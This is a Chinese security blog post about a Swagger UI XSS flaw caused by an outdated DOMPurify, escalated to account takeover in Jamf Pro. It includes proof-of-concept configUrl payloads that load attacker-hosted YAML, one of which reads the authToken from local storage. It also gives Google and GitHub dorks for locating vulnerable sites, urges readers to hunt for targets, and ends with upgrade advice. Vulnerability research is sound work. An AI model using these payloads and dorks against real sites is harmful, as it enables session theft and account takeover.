Swagger-UI 从XSS到账户接管

渗透技巧 2年前 (2022) admin
2,224 0 0

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


背景介绍:


该漏洞已在 2021 年初修复,但是仍然能够在许多公司中利用它,例如Paypal、Atlassian、Microsoft、GitLab、Yahoo等等。


GitLab甚至为后来的存储型XSS给出了$2000的赏金奖励。


Swagger-UI 从XSS到账户接管

GitLab 存储型XSS漏洞


受影响版本:


受 XSS 影响的 Swagger UI 版本为 >=3.14.1 < 3.38.0,如果各位手里有之前挖到的Swagger UI站点,可以挖一波了哦,如果挖到的话,不妨跟我分享一下哈~


XSS POC:

?configUrl=https://jumpy-floor.surge.sh/test.json

而这个test.json文件真正指向的是test.yaml文件。


https://jumpy-floor.surge.sh/test.yaml


随便找个存在漏洞的Swagger-UI站点,测试一下:


Swagger-UI 从XSS到账户接管



漏洞搜索:


Google Dork:

intext:"Swagger UIintitle:"Swagger UIsite:Target.com


GitHub Dork:

/swagger-ui-dist": "3.[1-3]/ path:*/package.json



账户接管漏洞:


这个漏洞在很多不同的系统中都很常见,白帽子在 Jamf 中也发现了它,那么 Jamf 是什么?

Jamf Pro 是适用于 Apple 平台的综合企业管理软件,可简化 Mac、iPad、iPhone 和 Apple TV 的 IT 管理


Jamf 通常在443或者8443的端口上运行,Swagger UI 可以在 /classicapi/doc/ 下找到。


Jamf Pro 将身份验证令牌存储在authToken密钥下的本地存储中,下面的 POC可以将Token从本地存储中打印出来:


POC有所不同:

?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==


账户接管:

https://VULNERABLE_JAMF/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy1zYWx0LnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==


漏洞产生原因:


主要漏洞点是DOMPurify2.2.3,因为存在漏洞的 Swagger UI 版本使用了DomPurifyversion 2.2.2。


Swagger-UI 从XSS到账户接管


漏洞修复:


在swagger-ui-dist文件中查找package.json,检查版本是否 >=3.14.1 < 3.38.0,修复漏洞也很简单,只需将Swagger-ui更新到最新版本即可,当然如果你无法升级整个Swagger UI软件的话,升级DOMPurify版本也是可以的。


漏洞发现过程


这个漏洞发现的过程还是挺有趣的,干货比较多,有兴趣的同学可以通过点击下方“阅读原文”跳转至文章原文查看,看看作者是如何绕过过滤最终发现这个漏洞,并成功获得$赏金的。


====正文结束====


原文始发于微信公众号(骨哥说事):Swagger-UI 从XSS到账户接管

版权声明:admin 发表于 2022年5月24日 下午3:28。
转载请注明:Swagger-UI 从XSS到账户接管 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...